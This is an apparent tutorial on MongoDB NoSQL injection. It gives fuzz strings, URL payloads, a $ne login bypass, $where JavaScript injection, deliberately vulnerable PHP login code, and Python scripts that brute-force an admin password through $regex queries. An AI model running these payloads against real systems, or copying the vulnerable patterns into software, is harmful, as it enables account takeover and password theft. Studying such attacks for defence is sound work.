NoSQL Injection & Exploitation Techniques
What is NoSQL Injection?
NoSQL injection is a type of attack that targets databases like MongoDB, which do not use SQL as their primary query language. These attacks exploit unvalidated or unsanitized user inputs to manipulate NoSQL queries, allowing attackers to retrieve, alter, or destroy data. In this article, we will focus on MongoDB, but the same injection principles apply to other NoSQL databases.
MongoDB Overview
MongoDB is a widely used NoSQL database where data is stored in documents
rather than tables, as seen in relational databases. These documents are stored in collections
, and multiple collections are grouped under databases
.
Documents are stored in JSON-like structures that consist of key-value pairs. For example, an employee document could look like this:
{
"_id" : ObjectId("5f077332de2cdf808d26cd74"),
"username" : "lphillips",
"first_name" : "Logan",
"last_name" : "Phillips",
"age" : 65,
"email" : "lphillips@example.com"
}
Querying in MongoDB
Instead of SQL queries, MongoDB uses JSON-based query syntax to filter and retrieve documents. For example, if we want to retrieve all documents where the last name is Sandler
, the query will look like this:
{'last_name': 'Sandler'}
To add more complex queries, MongoDB uses operators. For example, to find documents where the age is less than 50:
{'age': {'$lt': 50}}
Types of NoSQL Injection
There are two primary types of NoSQL injection attacks:
Syntax Injection
: This occurs when an attacker can break the NoSQL query syntax to inject their payload, similar to SQL injection.Operator Injection
: This happens when query operators are injected into queries, allowing an attacker to manipulate the logic of the query.JavaScript Injection
: This happens in the context of NoSQL databases, such as MongoDB, refers to a form of injection attack where malicious JavaScript code is injected and executed within database queries.
NoSQL Syntax Injection Example
Imagine a shopping application where the user selects a product category, which triggers a MongoDB query like:
this.category == 'fizzy'
If this query isn’t sanitized, an attacker could manipulate the category
parameter to break the syntax. For example, using this fuzz string:
'"`{
;$Foo}
$Foo \xYZ
The attacker can craft the following URL:
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%0
If the application is vulnerable, this malformed input may cause a syntax error, indicating potential NoSQL injection.
Testing Boolean Logic
Once a vulnerability is identified, the attacker can inject boolean conditions. For example:
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
This results in the MongoDB query:
this.category == ‘fizzy' && 1 && 'x
This will return all products, bypassing category restrictions.
Null Character Injection
MongoDB ignores all characters after a null character. For example:
https://insecure-website.com/product/lookup?category=fizzy'%00
This query:
this.category == ‘fizzy’ && this.released == 1
becomes:
this.category == ‘fizzy’\u0000' && this.released == 1
This could allow an attacker to retrieve unreleased products, bypassing security checks.
NoSQL Operator Injection
MongoDB uses various operators to define query conditions, such as:
$ne
— not equal to$gt
— greater than$gte
— greater than or equal to$lt
— less than$lte
— less than or equal to$in
— matches a value in an array$nin
— matches a value not in an array$regex
— allows pattern matching with regular expressions
Writing Vulnerable Code with NoSQL Injection
Here is an example of a PHP application vulnerable to MongoDB operator injection:
<?php
$con = new MongoDB\Driver\Manager(“mongodb://localhost:27017”);
if(isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];
$q = new MongoDB\Driver\Query(['username' => $user, 'password' => $pass]);
$record = $con->executeQuery('myapp.login', $q);
$record = iterator_to_array($record);
if(sizeof($record) > 0){
session_start();
$_SESSION['loggedin'] = true;
$_SESSION['uid'] = $record[0]->username;
header('Location: /sekr3tPl4ce.php');
die();
}
}
header('Location: /?err=1');
In this code, user input is passed directly into the MongoDB query without any sanitization, making it vulnerable to injection attacks.
Bypassing Authentication with Operator Injection
Consider a vulnerable login page where the following MongoDB query is used:
$q = new MongoDB\Driver\Query(['username' => $user, 'password' => $pass]);
If the application allows injecting MongoDB operators, you could bypass the login screen by sending the following payload:
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
This query returns all users where both the username and password are not invalid
, effectively bypassing authentication.
You can use the $ne
operator to bypass the login page and loggin with the admin user as follows:
The original captured login request looks like this:
We now proceed to intercept another login request and modify the user and pass variables to send the desired arrays:
This forces the database to return all user documents and as a result we are finally logged into the application:
Exfiltrating Data with
$regex
You can use the $regex
operator to extract data character by character. For example, testing if the password starts with an a
:
{"username":"admin","password":{"$regex":"^a"}}
By manipulating the regex patterns, attackers can systematically extract sensitive information from the database.
Extracting Users’ Passwords
At this point, we have access to all of the accounts in the application. However, it is important to try to extract the actual passwords in use as they might be reused in other services. To accomplish this, we will be abusing the $regex operator to ask a series of questions to the server that allow us to recover the passwords via a process that resembles playing the game hangman.
First, let’s take one of the users discovered before and try to guess the length of his password. We will be using the following payload to do that:
Notice that we are asking the database if there is a user with a username of admin and a password that matches the regex: ^.{7}$
. This basically represents a wildcard word of length 7. Since the server responds with a login error, we know the password length for the user admin isn't 7. After some trial and error, we finally arrived at the correct answer:
We now know the password for user admin has length 5. Now to figure out the actual content, we modify our payload as follows:
We are now working with a regex of length 5 (a single letter c plus 4 dots), matching the discovered password length, and asking if the admin’s password matches the regex ^c....$
, which means it starts with a lowercase c, followed by any 4 characters. Since the server response is an invalid login, we now know the first letter of the password can't be "c". We continue iterating over all available characters until we get a successful response from the server:
This confirms that the first letter of admin’s password is ‘a’. The same process can be repeated for the other letters until the full password is recovered. This can be repeated for other users as well if needed.
Automation for Password Length Discovery
You can automate the process of finding the password length using a loop and systematically incrementing the length:
- Start by trying a length of 1 character.
- Keep increasing the length until the query returns no results.
- The point where no results are returned indicates the maximum length of the password.
For example, in Python, you could write a script like:
import requests
url = "http://vulnerable-website.com/login"
data = {
"username": "admin",
"password": {"$regex": "^.{L}$"} # Replace L with the length you're testing
}
for length in range(1, 50): # Assuming password length is less than 50
data["password"]["$regex"] = f"^.{length}$"
response = requests.post(url, json=data)
if "Welcome" in response.text: # Adjust this based on the response
print(f"Password length is: {length}")
break
Automation for Password Extraction
You can automate this process by writing a script that brute-forces each character position of the password. Here’s an example in Python:
import requests
import string
url = "http://vulnerable-website.com/login"
password = ""
possible_characters = string.ascii_letters + string.digits + string.punctuation
# Assume the length is already known, e.g., 8 characters
password_length = 8
for position in range(1, password_length + 1):
for char in possible_characters:
regex = f"^{password + char}" # Build the regex incrementally
data = {
"username": "admin",
"password": {"$regex": regex}
}
response = requests.post(url, json=data)
if "Welcome" in response.text: # Adjust based on the application’s response
password += char
print(f"Password so far: {password}")
break
print(f"Final password: {password}")
JavaScript Injection
JavaScript Injection in the context of NoSQL databases, such as MongoDB, refers to a form of injection attack where malicious JavaScript code is injected and executed within database queries. This occurs because MongoDB allows the execution of JavaScript within queries through the $where
operator. This operator lets users define complex queries using JavaScript expressions, which can be exploited if not properly sanitized.
How It Works:
In MongoDB, the $where
operator allows you to include JavaScript code in queries to match specific documents. For example, a query might look like:
db.users.find({ $where: "this.age > 25" })
This query selects all users where the age
field is greater than 25, evaluated by the JavaScript expression "this.age > 25"
.
If user input is passed directly into this query without sanitization, an attacker can inject malicious JavaScript code. For instance, consider the following vulnerable PHP code that accepts a username input:
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");
if(isset($_POST['username'])){
$username = $_POST['username'];
// Vulnerable query
$q = new MongoDB\Driver\Query(['$where' => "this.username == '$username'"]);
$record = $con->executeQuery('myapp.users', $q);
$record = iterator_to_array($record);
if(sizeof($record)>0){
echo "User found!";
} else {
echo "User not found.";
}
}
?>
Exploitation:
An attacker can exploit this by injecting a JavaScript expression into the username
parameter to execute custom logic. For example, if the attacker submits:
' || true || '
This will be evaluated as:
db.users.find({ $where: "this.username == '' || true || ''" })
Since true
always evaluates to true
, this would match all documents in the collection, effectively bypassing the original condition and potentially exposing sensitive data.
Example of Exploitation:
In a login form where the username is evaluated using $where
, an attacker could inject JavaScript like:
{ $where: "this.username == 'admin' || 1==1" }
This will cause the query to return all users, potentially giving access to privileged accounts (like admin
).
Conclusion
NoSQL injection attacks, particularly in MongoDB, can lead to severe data breaches and security risks. It is crucial for developers to sanitize and validate all inputs properly to prevent such attacks.
Resources